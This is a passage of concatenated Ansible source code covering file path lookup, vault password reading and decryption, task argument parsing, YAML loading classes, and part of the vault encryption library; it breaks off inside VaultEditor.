        find one file in first path in stack taking roles into account and adding play basedir as fallback

        :arg paths: A list of text strings which are the paths to look for the filename in.
        :arg dirname: A text string representing a directory.  The directory
            is prepended to the source to form the path to search for.
        :arg source: A text string which is the filename to search for
        :rtype: A text string
        :returns: An absolute path to the filename ``source``
        '''
        b_dirname = to_bytes(dirname)
        b_source = to_bytes(source)

        result = None
        if not source:
            display.warning('Invalid request to find a file that matches an empty string or "null" value')
        elif source.startswith('~') or source.startswith(os.path.sep):
            # path is absolute, no relative needed, check existence and return source
            test_path = unfrackpath(b_source)
            if os.path.exists(to_bytes(test_path, errors='strict')):
                result = test_path
        else:
            search = []
            for path in paths:
                upath = unfrackpath(path)
                b_upath = to_bytes(upath, errors='strict')
                b_mydir = os.path.dirname(b_upath)

                # if path is in role and 'tasks' not there already, add it into the search
                if b_upath.endswith(b'tasks') and os.path.exists(os.path.join(b_upath, b'main.yml')) \
                    or os.path.exists(os.path.join(b_upath, b'tasks/main.yml')) \
                    or os.path.exists(os.path.join(b_mydir, b'tasks/main.yml')):
                    if b_mydir.endswith(b'tasks'):
                        search.append(os.path.join(os.path.dirname(b_mydir), b_dirname, b_source))
                        search.append(os.path.join(b_mydir, b_source))
                    else:
                        search.append(os.path.join(b_upath, b_dirname, b_source))
                        search.append(os.path.join(b_upath, b'tasks', b_source))
                elif b_dirname not in b_source.split(b'/'):
                    # don't add dirname if user already is using it in source
                    search.append(os.path.join(b_upath, b_dirname, b_source))
                    search.append(os.path.join(b_upath, b_source))

            # always append basedir as last resort
            search.append(os.path.join(to_bytes(self.get_basedir()), b_dirname, b_source))
            search.append(os.path.join(to_bytes(self.get_basedir()), b_source))

            display.debug(u'search_path:\n\t%s' % to_unicode(b'\n\t'.join(search), errors='replace'))
            for b_candidate in search:
                display.vvvvv(u'looking for "%s" at "%s"' % (source, to_unicode(b_candidate)))
                if os.path.exists(b_candidate):
                    result = to_unicode(b_candidate)
                    break

        return result

    def read_vault_password_file(self, vault_password_file):
        """
        Read a vault password from a file or if executable, execute the script and
        retrieve password from STDOUT
        """

        this_path = os.path.realpath(to_bytes(os.path.expanduser(vault_password_file), errors='strict'))
        if not os.path.exists(to_bytes(this_path, errors='strict')):
            raise AnsibleFileNotFound("The vault password file %s was not found" % this_path)

        if self.is_executable(this_path):
            try:
                # STDERR not captured to make it easier for users to prompt for input in their scripts
                p = subprocess.Popen(this_path, stdout=subprocess.PIPE)
            except OSError as e:
                raise AnsibleError("Problem running vault password script %s (%s). If this is not a script, remove the executable bit from the file." % (' '.join(this_path), e))
            stdout, stderr = p.communicate()
            self.set_vault_password(stdout.strip('\r\n'))
        else:
            try:
                f = open(this_path, "rb")
                self.set_vault_password(f.read().strip())
                f.close()
            except (OSError, IOError) as e:
                raise AnsibleError("Could not read vault password file %s: %s" % (this_path, e))

    def _create_content_tempfile(self, content):
        ''' Create a tempfile containing defined content '''
        fd, content_tempfile = tempfile.mkstemp()
        f = os.fdopen(fd, 'wb')
        content = to_bytes(content)
        try:
            f.write(content)
        except Exception as err:
            os.remove(content_tempfile)
            raise Exception(err)
        finally:
            f.close()
        return content_tempfile

    def get_real_file(self, file_path):
        """
        If the file is vault encrypted return a path to a temporary decrypted file
        If the file is not encrypted then the path is returned
        Temporary files are cleanup in the destructor
        """

        if not file_path or not isinstance(file_path, string_types):
            raise AnsibleParserError("Invalid filename: '%s'" % to_str(file_path))

        b_file_path = to_bytes(file_path, errors='strict')
        if not self.path_exists(b_file_path) or not self.is_file(b_file_path):
            raise AnsibleFileNotFound("the file_name '%s' does not exist, or is not readable" % to_str(file_path))

        if not self._vault:
            self._vault = VaultLib(password="")

        real_path = self.path_dwim(file_path)

        try:
            with open(to_bytes(real_path), 'rb') as f:
                if self._vault.is_encrypted(f):
                    # if the file is encrypted and no password was specified,
                    # the decrypt call would throw an error, but we check first
                    # since the decrypt function doesn't know the file name
                    data = f.read()
                    if not self._vault_password:
                        raise AnsibleParserError("A vault password must be specified to decrypt %s" % file_path)

                    data = self._vault.decrypt(data, filename=real_path)
                    # Make a temp file
                    real_path = self._create_content_tempfile(data)
                    self._tempfiles.add(real_path)

            return real_path

        except (IOError, OSError) as e:
            raise AnsibleParserError("an error occurred while trying to read the file '%s': %s" % (to_str(real_path), to_str(e)))

    def cleanup_tmp_file(self, file_path):
        """
        Removes any temporary files created from a previous call to
        get_real_file. file_path must be the path returned from a
        previous call to get_real_file.
        """
        if file_path in self._tempfiles:
            os.unlink(file_path)
            self._tempfiles.remove(file_path);

    def cleanup_all_tmp_files(self):
        for f in self._tempfiles:
            try:
                self.cleanup_tmp_file(f)
            except:
                pass #TODO: this should at least warn






# (c) 2014 Michael DeHaan, <michael@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.six import iteritems, string_types

from ansible.errors import AnsibleParserError,AnsibleError
from ansible.plugins import module_loader
from ansible.parsing.splitter import parse_kv, split_args
from ansible.template import Templar

# For filtering out modules correctly below
RAW_PARAM_MODULES = ([
    'command',
    'shell',
    'script',
    'include',
    'include_vars',
    'add_host',
    'group_by',
    'set_fact',
    'raw',
    'meta',
])

class ModuleArgsParser:

    """
    There are several ways a module and argument set can be expressed:

    # legacy form (for a shell command)
    - action: shell echo hi

    # common shorthand for local actions vs delegate_to
    - local_action: shell echo hi

    # most commonly:
    - copy: src=a dest=b

    # legacy form
    - action: copy src=a dest=b

    # complex args form, for passing structured data
    - copy:
        src: a
        dest: b

    # gross, but technically legal
    - action:
        module: copy
        args:
          src: a
          dest: b

    # extra gross, but also legal. in this case, the args specified
    # will act as 'defaults' and will be overridden by any args specified
    # in one of the other formats (complex args under the action, or
    # parsed from the k=v string
    - command: 'pwd'
      args:
        chdir: '/tmp'


    This class has some of the logic to canonicalize these into the form

    - module: <module_name>
      delegate_to: <optional>
      args: <args>

    Args may also be munged for certain shell command parameters.
    """

    def __init__(self, task_ds=dict()):
        assert isinstance(task_ds, dict)
        self._task_ds = task_ds


    def _split_module_string(self, module_string):
        '''
        when module names are expressed like:
        action: copy src=a dest=b
        the first part of the string is the name of the module
        and the rest are strings pertaining to the arguments.
        '''

        tokens = split_args(module_string)
        if len(tokens) > 1:
            return (tokens[0], " ".join(tokens[1:]))
        else:
            return (tokens[0], "")


    def _handle_shell_weirdness(self, action, args):
        '''
        given an action name and an args dictionary, return the
        proper action name and args dictionary.  This mostly is due
        to shell/command being treated special and nothing else
        '''

        # the shell module really is the command module with an additional
        # parameter
        if action == 'shell':
            action = 'command'
            args['_uses_shell'] = True

        return (action, args)

    def _normalize_parameters(self, thing, action=None, additional_args=dict()):
        '''
        arguments can be fuzzy.  Deal with all the forms.
        '''

        # final args are the ones we'll eventually return, so first update
        # them with any additional args specified, which have lower priority
        # than those which may be parsed/normalized next
        final_args = dict()
        if additional_args:
            if isinstance(additional_args, string_types):
                templar = Templar(loader=None)
                if templar._contains_vars(additional_args):
                    final_args['_variable_params'] = additional_args
                else:
                    raise AnsibleParserError("Complex args containing variables cannot use bare variables, and must use the full variable style ('{{var_name}}')")
            elif isinstance(additional_args, dict):
                final_args.update(additional_args)
            else:
                raise AnsibleParserError('Complex args must be a dictionary or variable string ("{{var}}").')

        # how we normalize depends if we figured out what the module name is
        # yet.  If we have already figured it out, it's an 'old style' invocation.
        # otherwise, it's not

        if action is not None:
            args = self._normalize_old_style_args(thing, action)
        else:
            (action, args) = self._normalize_new_style_args(thing)

            # this can occasionally happen, simplify
            if args and 'args' in args:
                tmp_args = args.pop('args')
                if isinstance(tmp_args, string_types):
                    tmp_args = parse_kv(tmp_args)
                args.update(tmp_args)

        # only internal variables can start with an underscore, so
        # we don't allow users to set them directy in arguments
        if args and action not in ('command', 'shell', 'script', 'raw'):
            for arg in args:
                if arg.startswith('_ansible_'):
                    raise AnsibleError("invalid parameter specified for action '%s': '%s'" % (action, arg))

        # finally, update the args we're going to return with the ones
        # which were normalized above
        if args:
            final_args.update(args)

        return (action, final_args)

    def _normalize_old_style_args(self, thing, action):
        '''
        deals with fuzziness in old-style (action/local_action) module invocations
        returns tuple of (module_name, dictionary_args)

        possible example inputs:
            { 'local_action' : 'shell echo hi' }
            { 'action'       : 'shell echo hi' }
            { 'local_action' : { 'module' : 'ec2', 'x' : 1, 'y': 2 }}
        standardized outputs like:
            ( 'command', { _raw_params: 'echo hi', _uses_shell: True }
        '''

        if isinstance(thing, dict):
            # form is like: local_action: { module: 'xyz', x: 2, y: 3 } ... uncommon!
            args = thing
        elif isinstance(thing, string_types):
            # form is like: local_action: copy src=a dest=b ... pretty common
            check_raw = action in ('command', 'shell', 'script', 'raw')
            args = parse_kv(thing, check_raw=check_raw)
        elif thing is None:
            # this can happen with modules which take no params, like ping:
            args = None
        else:
            raise AnsibleParserError("unexpected parameter type in action: %s" % type(thing), obj=self._task_ds)
        return args

    def _normalize_new_style_args(self, thing):
        '''
        deals with fuzziness in new style module invocations
        accepting key=value pairs and dictionaries, and always returning dictionaries
        returns tuple of (module_name, dictionary_args)

        possible example inputs:
           { 'shell' : 'echo hi' }
           { 'ec2'   : { 'region' : 'xyz' }
           { 'ec2'   : 'region=xyz' }
        standardized outputs like:
           ('ec2', { region: 'xyz'} )
        '''

        action = None
        args = None

        actions_allowing_raw = ('command', 'shell', 'script', 'raw')
        if isinstance(thing, dict):
            # form is like:  copy: { src: 'a', dest: 'b' } ... common for structured (aka "complex") args
            thing = thing.copy()
            if 'module' in thing:
                action, module_args = self._split_module_string(thing['module'])
                args = thing.copy()
                check_raw = action in actions_allowing_raw
                args.update(parse_kv(module_args, check_raw=check_raw))
                del args['module']

        elif isinstance(thing, string_types):
            # form is like:  copy: src=a dest=b ... common shorthand throughout ansible
            (action, args) = self._split_module_string(thing)
            check_raw = action in actions_allowing_raw
            args = parse_kv(args, check_raw=check_raw)

        else:
            # need a dict or a string, so giving up
            raise AnsibleParserError("unexpected parameter type in action: %s" % type(thing), obj=self._task_ds)

        return (action, args)

    def parse(self):
        '''
        Given a task in one of the supported forms, parses and returns
        returns the action, arguments, and delegate_to values for the
        task, dealing with all sorts of levels of fuzziness.
        '''

        thing      = None

        action      = None
        delegate_to = self._task_ds.get('delegate_to', None)
        args        = dict()


        # this is the 'extra gross' scenario detailed above, so we grab
        # the args and pass them in as additional arguments, which can/will
        # be overwritten via dict updates from the other arg sources below
        additional_args = self._task_ds.get('args', dict())

        # We can have one of action, local_action, or module specified
        # action
        if 'action' in self._task_ds:
            # an old school 'action' statement
            thing = self._task_ds['action']
            action, args = self._normalize_parameters(thing, additional_args=additional_args)

        # local_action
        if 'local_action' in self._task_ds:
            # local_action is similar but also implies a delegate_to
            if action is not None:
                raise AnsibleParserError("action and local_action are mutually exclusive", obj=self._task_ds)
            thing = self._task_ds.get('local_action', '')
            delegate_to = 'localhost'
            action, args = self._normalize_parameters(thing, additional_args=additional_args)

        # module: <stuff> is the more new-style invocation

        # walk the input dictionary to see we recognize a module name
        for (item, value) in iteritems(self._task_ds):
            if item in module_loader or item == 'meta' or item == 'include':
                # finding more than one module name is a problem
                if action is not None:
                    raise AnsibleParserError("conflicting action statements", obj=self._task_ds)
                action = item
                thing = value
                action, args = self._normalize_parameters(value, action=action, additional_args=additional_args)

        # if we didn't see any module in the task at all, it's not a task really
        if action is None:
            if 'ping' not in module_loader:
                raise AnsibleParserError("The requested action was not found in configured module paths. "
                        "Additionally, core modules are missing. If this is a checkout, "
                        "run 'git submodule update --init --recursive' to correct this problem.",
                        obj=self._task_ds)

            else:
                raise AnsibleParserError("no action detected in task. This often indicates a misspelled module name, or incorrect module path.", obj=self._task_ds)
        elif args.get('_raw_params', '') != '' and action not in RAW_PARAM_MODULES:
            templar = Templar(loader=None)
            raw_params = args.pop('_raw_params')
            if templar._contains_vars(raw_params):
                args['_variable_params'] = raw_params
            else:
                raise AnsibleParserError("this task '%s' has extra params, which is only allowed in the following modules: %s" % (action, ", ".join(RAW_PARAM_MODULES)), obj=self._task_ds)

        # shell modules require special handling
        (action, args) = self._handle_shell_weirdness(action, args)

        return (action, args, delegate_to)






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import yaml
from ansible.compat.six import PY3

from ansible.parsing.yaml.objects import AnsibleUnicode, AnsibleSequence, AnsibleMapping
from ansible.vars.hostvars import HostVars

class AnsibleDumper(yaml.SafeDumper):
    '''
    A simple stub class that allows us to add representers
    for our overridden object types.
    '''
    pass

def represent_hostvars(self, data):
    return self.represent_dict(dict(data))

if PY3:
    represent_unicode = yaml.representer.SafeRepresenter.represent_str
else:
    represent_unicode = yaml.representer.SafeRepresenter.represent_unicode

AnsibleDumper.add_representer(
    AnsibleUnicode,
    represent_unicode,
)

AnsibleDumper.add_representer(
    HostVars,
    represent_hostvars,
)

AnsibleDumper.add_representer(
    AnsibleSequence,
    yaml.representer.SafeRepresenter.represent_list,
)

AnsibleDumper.add_representer(
    AnsibleMapping,
    yaml.representer.SafeRepresenter.represent_dict,
)







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from yaml.constructor import Constructor, ConstructorError
from yaml.nodes import MappingNode
from ansible.parsing.yaml.objects import AnsibleMapping, AnsibleSequence, AnsibleUnicode
from ansible.vars.unsafe_proxy import wrap_var

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class AnsibleConstructor(Constructor):
    def __init__(self, file_name=None):
        self._ansible_file_name = file_name
        super(AnsibleConstructor, self).__init__()

    def construct_yaml_map(self, node):
        data = AnsibleMapping()
        yield data
        value = self.construct_mapping(node)
        data.update(value)
        data.ansible_pos = self._node_position_info(node)

    def construct_mapping(self, node, deep=False):
        # Most of this is from yaml.constructor.SafeConstructor.  We replicate
        # it here so that we can warn users when they have duplicate dict keys
        # (pyyaml silently allows overwriting keys)
        if not isinstance(node, MappingNode):
            raise ConstructorError(None, None,
                    "expected a mapping node, but found %s" % node.id,
                    node.start_mark)
        self.flatten_mapping(node)
        mapping = AnsibleMapping()

        # Add our extra information to the returned value
        mapping.ansible_pos = self._node_position_info(node)

        for key_node, value_node in node.value:
            key = self.construct_object(key_node, deep=deep)
            try:
                hash(key)
            except TypeError as exc:
                raise ConstructorError("while constructing a mapping", node.start_mark,
                        "found unacceptable key (%s)" % exc, key_node.start_mark)

            if key in mapping:
                display.warning(u'While constructing a mapping from {1}, line {2}, column {3}, found a duplicate dict key ({0}).  Using last defined value only.'.format(key, *mapping.ansible_pos))

            value = self.construct_object(value_node, deep=deep)
            mapping[key] = value

        return mapping

    def construct_yaml_str(self, node, unsafe=False):
        # Override the default string handling function
        # to always return unicode objects
        value = self.construct_scalar(node)
        ret = AnsibleUnicode(value)

        ret.ansible_pos = self._node_position_info(node)

        if unsafe:
            ret = wrap_var(ret)

        return ret

    def construct_yaml_seq(self, node):
        data = AnsibleSequence()
        yield data
        data.extend(self.construct_sequence(node))
        data.ansible_pos = self._node_position_info(node)

    def construct_yaml_unsafe(self, node):
        return self.construct_yaml_str(node, unsafe=True)

    def _node_position_info(self, node):
        # the line number where the previous token has ended (plus empty lines)
        # Add one so that the first line is line 1 rather than line 0
        column = node.start_mark.column + 1
        line = node.start_mark.line + 1

        # in some cases, we may have pre-read the data and then
        # passed it to the load() call for YAML, in which case we
        # want to override the default datasource (which would be
        # '<string>') to the actual filename we read in
        datasource = self._ansible_file_name or node.start_mark.name

        return (datasource, line, column)

AnsibleConstructor.add_constructor(
    u'tag:yaml.org,2002:map',
    AnsibleConstructor.construct_yaml_map)

AnsibleConstructor.add_constructor(
    u'tag:yaml.org,2002:python/dict',
    AnsibleConstructor.construct_yaml_map)

AnsibleConstructor.add_constructor(
    u'tag:yaml.org,2002:str',
    AnsibleConstructor.construct_yaml_str)

AnsibleConstructor.add_constructor(
    u'tag:yaml.org,2002:python/unicode',
    AnsibleConstructor.construct_yaml_str)

AnsibleConstructor.add_constructor(
    u'tag:yaml.org,2002:seq',
    AnsibleConstructor.construct_yaml_seq)

AnsibleConstructor.add_constructor(
    u'!unsafe',
    AnsibleConstructor.construct_yaml_unsafe)






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

try:
    from _yaml import CParser, CEmitter
    HAVE_PYYAML_C = True
except ImportError:
    HAVE_PYYAML_C = False

from yaml.resolver import Resolver

from ansible.parsing.yaml.constructor import AnsibleConstructor

if HAVE_PYYAML_C:
    class AnsibleLoader(CParser, AnsibleConstructor, Resolver):
        def __init__(self, stream, file_name=None):
            CParser.__init__(self, stream)
            AnsibleConstructor.__init__(self, file_name=file_name)
            Resolver.__init__(self)
else:
    from yaml.composer import Composer
    from yaml.reader import Reader
    from yaml.scanner import Scanner
    from yaml.parser import Parser

    class AnsibleLoader(Reader, Scanner, Parser, Composer, AnsibleConstructor, Resolver):
        def __init__(self, stream, file_name=None):
            Reader.__init__(self, stream)
            Scanner.__init__(self)
            Parser.__init__(self)
            Composer.__init__(self)
            AnsibleConstructor.__init__(self, file_name=file_name)
            Resolver.__init__(self)






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.six import text_type


class AnsibleBaseYAMLObject(object):
    '''
    the base class used to sub-class python built-in objects
    so that we can add attributes to them during yaml parsing

    '''
    _data_source = None
    _line_number = 0
    _column_number = 0

    def _get_ansible_position(self):
        return (self._data_source, self._line_number, self._column_number)

    def _set_ansible_position(self, obj):
        try:
            (src, line, col) = obj
        except (TypeError, ValueError):
            raise AssertionError(
                'ansible_pos can only be set with a tuple/list '
                'of three values: source, line number, column number'
            )
        self._data_source = src
        self._line_number = line
        self._column_number = col

    ansible_pos = property(_get_ansible_position, _set_ansible_position)


class AnsibleMapping(AnsibleBaseYAMLObject, dict):
    ''' sub class for dictionaries '''
    pass


class AnsibleUnicode(AnsibleBaseYAMLObject, text_type):
    ''' sub class for unicode objects '''
    pass


class AnsibleSequence(AnsibleBaseYAMLObject, list):
    ''' sub class for lists '''
    pass






# (c) 2014, James Tanner <tanner.jc@gmail.com>
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import shlex
import shutil
import sys
import tempfile
import random
from io import BytesIO
from subprocess import call
from ansible.errors import AnsibleError
from hashlib import sha256
from binascii import hexlify
from binascii import unhexlify

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

# Note: Only used for loading obsolete VaultAES files.  All files are written
# using the newer VaultAES256 which does not require md5
from hashlib import md5

try:
    from Crypto.Hash import SHA256, HMAC
    HAS_HASH = True
except ImportError:
    HAS_HASH = False

# Counter import fails for 2.0.1, requires >= 2.6.1 from pip
try:
    from Crypto.Util import Counter
    HAS_COUNTER = True
except ImportError:
    HAS_COUNTER = False

# KDF import fails for 2.0.1, requires >= 2.6.1 from pip
try:
    from Crypto.Protocol.KDF import PBKDF2
    HAS_PBKDF2 = True
except ImportError:
    HAS_PBKDF2 = False

# AES IMPORTS
try:
    from Crypto.Cipher import AES as AES
    HAS_AES = True
except ImportError:
    HAS_AES = False

# OpenSSL pbkdf2_hmac
HAS_PBKDF2HMAC = False
try:
    from cryptography.hazmat.primitives.hashes import SHA256 as c_SHA256
    from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
    from cryptography.hazmat.backends import default_backend
    HAS_PBKDF2HMAC = True
except ImportError:
    pass
except Exception as e:
    display.warning("Optional dependency 'cryptography' raised an exception, falling back to 'Crypto'")
    import traceback
    display.debug("Traceback from import of cryptography was {0}".format(traceback.format_exc()))

from ansible.compat.six import PY3
from ansible.utils.unicode import to_unicode, to_bytes

HAS_ANY_PBKDF2HMAC = HAS_PBKDF2 or HAS_PBKDF2HMAC

CRYPTO_UPGRADE = "ansible-vault requires a newer version of pycrypto than the one installed on your platform. You may fix this with OS-specific commands such as: yum install python-devel; rpm -e --nodeps python-crypto; pip install pycrypto"

b_HEADER = b'$ANSIBLE_VAULT'
CIPHER_WHITELIST = frozenset((u'AES', u'AES256'))
CIPHER_WRITE_WHITELIST=frozenset((u'AES256',))
# See also CIPHER_MAPPING at the bottom of the file which maps cipher strings
# (used in VaultFile header) to a cipher class


def check_prereqs():

    if not HAS_AES or not HAS_COUNTER or not HAS_ANY_PBKDF2HMAC or not HAS_HASH:
        raise AnsibleError(CRYPTO_UPGRADE)

class VaultLib:

    def __init__(self, password):
        self.b_password = to_bytes(password, errors='strict', encoding='utf-8')
        self.cipher_name = None
        self.b_version = b'1.1'

    def is_encrypted(self, data):
        """ Test if this is vault encrypted data

        :arg data: a byte str or unicode string to test whether it is
            recognized as vault encrypted data
        :returns: True if it is recognized.  Otherwise, False.
        """

        if hasattr(data, 'read'):
            current_position = data.tell()
            header_part = data.read(len(b_HEADER))
            data.seek(current_position)
            return self.is_encrypted(header_part)

        if to_bytes(data, errors='strict', encoding='utf-8').startswith(b_HEADER):
            return True
        return False

    def encrypt(self, data):
        """Vault encrypt a piece of data.

        :arg data: a utf-8 byte str or unicode string to encrypt.
        :returns: a utf-8 encoded byte str of encrypted data.  The string
            contains a header identifying this as vault encrypted data and
            formatted to newline terminated lines of 80 characters.  This is
            suitable for dumping as is to a vault file.
        """
        b_data = to_bytes(data, errors='strict', encoding='utf-8')

        if self.is_encrypted(b_data):
            raise AnsibleError("input is already encrypted")

        if not self.cipher_name or self.cipher_name not in CIPHER_WRITE_WHITELIST:
            self.cipher_name = u"AES256"

        try:
            Cipher = CIPHER_MAPPING[self.cipher_name]
        except KeyError:
            raise AnsibleError(u"{0} cipher could not be found".format(self.cipher_name))
        this_cipher = Cipher()

        # encrypt data
        b_enc_data = this_cipher.encrypt(b_data, self.b_password)

        # format the data for output to the file
        b_tmp_data = self._format_output(b_enc_data)
        return b_tmp_data

    def decrypt(self, data, filename=None):
        """Decrypt a piece of vault encrypted data.

        :arg data: a string to decrypt.  Since vault encrypted data is an
            ascii text format this can be either a byte str or unicode string.
        :returns: a byte string containing the decrypted data
        """
        b_data = to_bytes(data, errors='strict', encoding='utf-8')

        if self.b_password is None:
            raise AnsibleError("A vault password must be specified to decrypt data")

        if not self.is_encrypted(b_data):
            msg = "input is not encrypted"
            if filename:
                msg += "%s is not encrypted" % filename
            raise AnsibleError(msg)

        # clean out header
        b_data = self._split_header(b_data)

        # create the cipher object
        cipher_class_name = u'Vault{0}'.format(self.cipher_name)
        if cipher_class_name in globals() and self.cipher_name in CIPHER_WHITELIST:
            Cipher = globals()[cipher_class_name]
            this_cipher = Cipher()
        else:
            raise AnsibleError("{0} cipher could not be found".format(self.cipher_name))

        # try to unencrypt data
        b_data = this_cipher.decrypt(b_data, self.b_password)
        if b_data is None:
            msg = "Decryption failed"
            if filename:
                msg += " on %s" % filename
            raise AnsibleError(msg)

        return b_data

    def _format_output(self, b_data):
        """ Add header and format to 80 columns

            :arg b_data: the encrypted and hexlified data as a byte string
            :returns: a byte str that should be dumped into a file.  It's
                formatted to 80 char columns and has the header prepended
        """

        if not self.cipher_name:
            raise AnsibleError("the cipher must be set before adding a header")

        header = b';'.join([b_HEADER, self.b_version,
            to_bytes(self.cipher_name, errors='strict', encoding='utf-8')])
        tmpdata = [header]
        tmpdata += [b_data[i:i+80] for i in range(0, len(b_data), 80)]
        tmpdata += [b'']
        tmpdata = b'\n'.join(tmpdata)

        return tmpdata

    def _split_header(self, b_data):
        """Retrieve information about the Vault and  clean the data

        When data is saved, it has a header prepended and is formatted into 80
        character lines.  This method extracts the information from the header
        and then removes the header and the inserted newlines.  The string returned
        is suitable for processing by the Cipher classes.

        :arg b_data: byte str containing the data from a save file
        :returns: a byte str suitable for passing to a Cipher class's
            decrypt() function.
        """
        # used by decrypt

        tmpdata = b_data.split(b'\n')
        tmpheader = tmpdata[0].strip().split(b';')

        self.b_version = tmpheader[1].strip()
        self.cipher_name = to_unicode(tmpheader[2].strip())
        clean_data = b''.join(tmpdata[1:])

        return clean_data


class VaultEditor:

    def __init__(self, password):
        self.vault = VaultLib(password)

    def _shred_file_custom(self, tmp_path):
        """"Destroy a file, when shred (core-utils) is not available

        Unix `shred' destroys files "so that they can be recovered only with great difficulty with
        specialised hardware, if at all". It is based on the method from the paper
        "Secure Deletion of Data from Magnetic and Solid-State Memory",
        Proceedings of the Sixth USENIX Security Symposium (San Jose, California, July 22-25, 1996).

        We do not go to that length to re-implement shred in Python; instead, overwriting with a block
        of random data should suffice.

        See https://github.com/ansible/ansible/pull/13700 .
        """

        file_len = os.path.getsize(tmp_path)

        if file_len > 0: # avoid work when file was empty
            max_chunk_len = min(1024*1024*2, file_len)

            passes = 3
            with open(tmp_path,  "wb") as fh:
                for _ in range(passes):
                    fh.seek(0,  0)
                    # get a random chunk of data, each pass with other length
                    chunk_len = random.randint(max_chunk_len//2, max_chunk_len)
                    data = os.urandom(chunk_len)

                    for _ in range(0, file_len // chunk_len):
                        fh.write(data)
                    fh.write(data[:file_len % chunk_len])

                    assert(fh.tell() == file_len) # FIXME remove this assert once we have unittests to check its accuracy
                    os.fsync(fh)


    def _shred_file(self, tmp_path):
        """Securely destroy a decrypted file

        Note standard limitations of GNU shred apply (For flash, overwriting would have no effect
        due to wear leveling; for other storage systems, the async kernel->filesystem->disk calls never
        guarantee data hits the disk; etc). Furthermore, if your tmp dirs is on tmpfs (ramdisks),
        it is a non-issue.

        Nevertheless, some form of overwriting the data (instead of just removing the fs index entry) is
        a good idea. If shred is not available (e.g. on windows, or no core-utils installed), fall back on
        a custom shredding method.
        """

        if not os.path.isfile(tmp_path):
            # file is already gone
            return

        try:
            r = call(['shred', tmp_path])
        except (OSError, ValueError):
            # shred is not available on this system, or some other error occured.
            # ValueError caught because OS X El Capitan is raising an
            # exception big enough to hit a limit in python2-2.7.11 and below.
            # Symptom is ValueError: insecure pickle when shred is not
            # installed there.
            r = 1

        if r != 0:
            # we could not successfully execute unix shred; therefore, do custom shred.
            self._shred_file_custom(tmp_path)

        os.remove(tmp_path)

    def _edit_file_helper(self, filename, existing_data=None, force_save=False):

        # Create a tempfile
